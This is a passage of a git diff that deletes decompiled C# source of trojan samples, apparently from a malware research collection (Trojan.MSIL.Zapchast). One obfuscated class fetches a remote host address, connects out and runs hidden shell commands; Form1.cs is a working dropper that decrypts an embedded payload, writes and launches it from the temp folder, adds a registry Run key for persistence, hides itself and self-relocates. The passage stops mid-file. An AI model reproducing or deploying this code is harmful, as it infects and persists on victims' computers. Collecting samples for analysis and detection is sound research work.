[MethodImpl(MethodImplOptions.NoInlining)] - public static void \u0003\u2000() - { - try - { - if (System.IO.File.Exists(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951))) - System.IO.File.Delete(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - \u0005.\u0002().Network.DownloadFile(\u0002\u2000.\u0002(-543724937), \u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - string str1 = \u0005.\u0002().FileSystem.ReadAllText(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - \u0005.\u0002().FileSystem.DeleteFile(\u0005.\u0002().Info.DirectoryPath + \u0002\u2000.\u0002(-543724951)); - string str2 = Strings.Right(str1, checked (str1.Length - str1.IndexOf(\u0002\u2000.\u0002(-543724970)) - 2)); - string str3 = Strings.Left(str2, str2.IndexOf(\u0002\u2000.\u0002(-543725023))); - Console.WriteLine(str3.ToString()); - \u0008.\u0003\u2000 = str3.ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static string \u0002() - { - try - { - int tickCount = Environment.TickCount; - string str = string.Empty; - int num1 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) tickCount / 1000.0 / 60.0 / 60.0 / 24.0)))); - if (num1 > 0) - str = Conversions.ToString(num1) + \u0002\u2000.\u0002(-543725009); - int num2 = checked (tickCount - num1 * 1000 * 60 * 60 * 24); - int num3 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) num2 / 1000.0 / 60.0 / 60.0)))); - if (num3 > 0) - str = str + Conversions.ToString(num3) + \u0002\u2000.\u0002(-543725001); - int num4 = checked (num2 - num3 * 1000 * 60 * 60); - int num5 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) num4 / 1000.0 / 60.0)))); - if (num5 > 0) - str = str + Conversions.ToString(num5) + \u0002\u2000.\u0002(-543724993); - int num6 = checked (num4 - num5 * 1000 * 60); - int num7 = checked ((int) Math.Round(Conversion.Fix(unchecked ((double) num6 / 1000.0)))); - if (num7 > 0) - str = str + Conversions.ToString(num7) + \u0002\u2000.\u0002(-543725049); - int num8 = checked (num6 - num7 * 1000); - return str; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return Conversions.ToString(false); - } - - public static string \u0003() - { - try - { - string str = (string) null; - ManagementObjectCollection objectCollection = new ManagementObjectSearcher(\u0002\u2000.\u0002(-543725041) + Environment.MachineName + \u0002\u2000.\u0002(-543725034), \u0002\u2000.\u0002(-543724814)).Get(); - try - { - foreach (ManagementBaseObject managementBaseObject in objectCollection) - str = managementBaseObject[\u0002\u2000.\u0002(-543724839)].ToString(); - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - return str; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return Conversions.ToString(false); - } - - public static string \u0005() - { - try - { - string Left = (string) null; - ManagementObjectCollection objectCollection = new ManagementObjectSearcher(\u0002\u2000.\u0002(-543725041) + Environment.MachineName + \u0002\u2000.\u0002(-543725034), \u0002\u2000.\u0002(-543724885)).Get(); - try - { - foreach (ManagementBaseObject managementBaseObject in objectCollection) - Left = managementBaseObject[\u0002\u2000.\u0002(-543724839)].ToString(); - } - finally - { - ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator; - objectEnumerator?.Dispose(); - } - if (Operators.CompareString(Left, string.Empty, false) == 0) - { - \u0008.\u0005\u2000 = \u0002\u2000.\u0002(-543724913) + Conversions.ToString(\u000F.\u0002()); - Left = \u0002\u2000.\u0002(-543724913) + Conversions.ToString(\u000F.\u0002()); - } - \u0008.\u0005\u2000 = Left; - return Left; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return Conversions.ToString(false); - } - - private static bool \u0002() - { - bool flag; - try - { - flag = Conversions.ToBoolean(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(Interaction.CreateObject(\u0002\u2000.\u0002(-543724904), string.Empty)), (Type) null, \u0002\u2000.\u0002(-543724180), new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, \u0002\u2000.\u0002(-543724162), new object[0], (string[]) null, (Type[]) null, (bool[]) null)), (Type) null, \u0002\u2000.\u0002(-543724203), new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public static object \u0003() - { - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0002\u2000.\u0002(-543724245)); - object objectValue = RuntimeHelpers.GetObjectValue(registryKey.GetValue(\u0002\u2000.\u0002(-543724053))); - registryKey.Close(); - return Operators.ConditionalCompareObjectEqual(objectValue, (object) \u0002\u2000.\u0002(-543724037), false) ? (object) \u0002\u2000.\u0002(-543725009) : (object) \u0002\u2000.\u0002(-543724093); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - return (object) false; - } - - public static void \u0005\u2000() - { - try - { - if (!\u0008.\u000F) - return; - new Thread(new ThreadStart(\u000F.\u0002\u2000)).Start(); - Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - if (!socket.BeginConnect(\u0008.\u0003\u2000, Conversions.ToInteger(\u0002\u2000.\u0002(-543724643)), (AsyncCallback) null, (object) null).AsyncWaitHandle.WaitOne(10000, false)) - { - socket.Close(); - Console.WriteLine(\u0002\u2000.\u0002(-543724085)); - } - else - { - socket.Close(); - \u0008.\u0002\u2000 = true; - Console.WriteLine(\u0002\u2000.\u0002(-543724128)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000F.\u0008(ex.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static void \u0002(object _param0) - { - try - { - string Left1 = \u000F.\u0005(); - if (Operators.CompareString(Left1, \u0002\u2000.\u0002(-543724110), false) == 0) - { - Console.WriteLine(\u0002\u2000.\u0002(-543724158)); - \u0008.\u000F = true; - } - else - { - if (Operators.CompareString(Left1, \u0002\u2000.\u0002(-543724434), false) != 0) - return; - object Left2 = _param0; - if (Operators.ConditionalCompareObjectEqual(Left2, (object) \u0002\u2000.\u0002(-543725174), false)) - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0002\u2000.\u0002(-543724417), true); - registryKey.SetValue(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543724300), (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u0002\u2000.\u0002(-543724342))); - registryKey.Close(); - \u0008.\u000F = true; - Console.WriteLine(\u0002\u2000.\u0002(-543724361)); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) \u0002\u2000.\u0002(-543724672), false)) - { - if (!Operators.ConditionalCompareObjectEqual(\u000F.\u0003(), (object) \u0002\u2000.\u0002(-543725009), false)) - return; - Console.WriteLine(\u0002\u2000.\u0002(-543723672)); - try - { - Interaction.Shell(\u0002\u2000.\u0002(-543723691) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723549) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723599) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine(ex.ToString()); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1000); - Interaction.Shell(\u0002\u2000.\u0002(-543723965) + \u0008.\u0002.ToLower() + \u0002\u2000.\u0002(-543723982) + \u0008.\u0003.ToLower() + \u0002\u2000.\u0002(-543724019), AppWinStyle.Hide); - \u0008.\u000F = true; - Console.WriteLine(\u0002\u2000.\u0002(-543723806)); - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left2, (object) \u0002\u2000.\u0002(-543724661), false) || !Operators.ConditionalCompareObjectEqual(\u000F.\u0003(), (object) \u0002\u2000.\u0002(-543725009), false)) - return; - Console.WriteLine(\u0002\u2000.\u0002(-543723672)); - try - { - Interaction.Shell(\u0002\u2000.\u0002(-543723691) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723549) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - Interaction.Shell(\u0002\u2000.\u0002(-543723599) + \u0008.\u0003 + string.Empty, AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine(ex.ToString()); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1000); - Interaction.Shell(\u0002\u2000.\u0002(-543723965) + \u0008.\u0002.ToLower() + \u0002\u2000.\u0002(-543723982) + \u0008.\u0003.ToLower() + \u0002\u2000.\u0002(-543724019), AppWinStyle.Hide); - \u0008.\u000F = true; - Console.WriteLine(\u0002\u2000.\u0002(-543723816)); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine((object) exception); - \u000F.\u0008(exception.ToString()); - ProjectData.ClearProjectError(); - } - } - - public static object \u0005() - { - if (!\u0008.\u0005\u2000.Contains(\u0002\u2000.\u0002(-543724913))) - return (object) \u0008.\u0005\u2000; - if (Operators.ConditionalCompareObjectEqual(\u000F.\u0003(), (object) \u0002\u2000.\u0002(-543724093), false)) - return (object) \u0002\u2000.\u0002(-543723894); - return !\u0008.\u0002\u2000 ? (object) \u0002\u2000.\u0002(-543723884) : (object) \u0002\u2000.\u0002(-543725137); - } - - public static void \u0008(string _param0) - { - } - - private delegate void \u0002(string _param1); -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/       ​    b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/       ​    deleted file mode 100644 index 6eeb7d89..00000000 Binary files a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aelqe-0cf176827f89ff5167319c15aba7c74d176b0f93dd42f383567faa6c5af2ef21/       ​    and /dev/null differ diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/AssemblyInfo.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/AssemblyInfo.cs deleted file mode 100644 index d9d68032..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("1a02d9f7-0125-4f6d-ac3b-a0d23cf30e6d")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.cs deleted file mode 100644 index 0e0fde0e..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.cs +++ /dev/null @@ -1,196 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.Form1 -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; - -namespace XqNvNTCMcR -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Button1")] - private Button _Button1; - private RegistryKey uYzdsJfyt; - private byte[] file; - private Random rand; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.uYzdsJfyt = Registry.CurrentUser; - this.rand = new Random(); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.Button1 = new Button(); - this.SuspendLayout(); - this.Button1.Location = new Point(12, 2); - this.Button1.Name = "Button1"; - Button button1 = this.Button1; - Size size1 = new Size(56, 23); - Size size2 = size1; - button1.Size = size2; - this.Button1.TabIndex = 0; - this.Button1.Text = "Check"; - this.Button1.UseVisualStyleBackColor = true; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(85, 26); - this.ClientSize = size1; - this.Controls.Add((Control) this.Button1); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = nameof (Form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.ResumeLayout(false); - } - - internal virtual Button Button1 - { - get => this._Button1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Button1_Click); - if (this._Button1 != null) - this._Button1.Click -= eventHandler; - this._Button1 = value; - if (this._Button1 == null) - return; - this._Button1.Click += eventHandler; - } - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - private void Form1_Load(object sender, EventArgs e) - { - string[] strArray = Strings.Split(File.ReadAllText(Application.ExecutablePath), "A3E06K76EPzT37967EY"); - string s = Conversions.ToString(Form1.Decrypt(strArray[1], "FuCK")); - this.file = Encoding.Default.GetBytes(s); - File.WriteAllBytes(Path.GetTempPath() + "\\N3o.Exe", this.file); - Process.Start(Path.GetTempPath() + "\\N3o.Exe"); - if (Conversions.ToBoolean(strArray[2])) - { - Conversions.ToString(Form1.Decrypt(strArray[3], "FuCK")); - Encoding.Default.GetBytes(s); - File.WriteAllBytes(Path.GetTempPath() + "\\" + strArray[4], this.file); - Process.Start(Path.GetTempPath() + "\\" + strArray[4]); - } - if (Conversions.ToBoolean(strArray[5])) - { - File.Copy(Application.ExecutablePath, Path.GetTempPath() + "Night.exe", true); - this.uYzdsJfyt.OpenSubKey("software\\microsoft\\windows\\currentversion\\run", true).SetValue("Serve", (object) (Path.GetTempPath() + ".exe"), RegistryValueKind.String); - } - if (Conversions.ToBoolean(strArray[6])) - { - try - { - File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(strArray[7])) - this.Melt(Conversions.ToString(this.rand.Next(1, 10000)) + ".exe"); - ProjectData.EndApp(); - } - - public static object Decrypt(string Decryption, string Key) - { - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - byte[] salt = new byte[8] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8 - }; - Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Key, salt); - rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length); - rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length); - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write); - try - { - byte[] buffer = Convert.FromBase64String(Decryption); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.Close(); - Decryption = Encoding.UTF8.GetString(memoryStream.ToArray()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return (object) Decryption; - } - - private void Button1_Click(object sender, EventArgs e) - { - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - public void Melt(string NewName) - { - try - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - if (Operators.CompareString(Application.StartupPath, folderPath, false) != 0) - { - FileSystem.FileCopy(Application.ExecutablePath, folderPath + "\\" + NewName); - Interaction.Shell(folderPath + "\\" + NewName + " " + Application.ExecutablePath); - FileAttributes fileAttributes = FileAttributes.Hidden; - File.SetAttributes(folderPath + "\\" + NewName, fileAttributes); - ProjectData.EndApp(); - } - else - FileSystem.Kill(Interaction.Command()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs deleted file mode 100644 index 38055352..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyApplication.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MyApplication -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace XqNvNTCMcR.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs deleted file mode 100644 index 448f74d7..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MyComputer -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace XqNvNTCMcR.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs deleted file mode 100644 index 90fd4e55..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MyProject.cs +++ /dev/null @@ -1,207 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MyProject -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace XqNvNTCMcR.My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs deleted file mode 100644 index b3291808..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettings.cs +++ /dev/null @@ -1,69 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MySettings -// Assembly: XqNvNTCMcR, 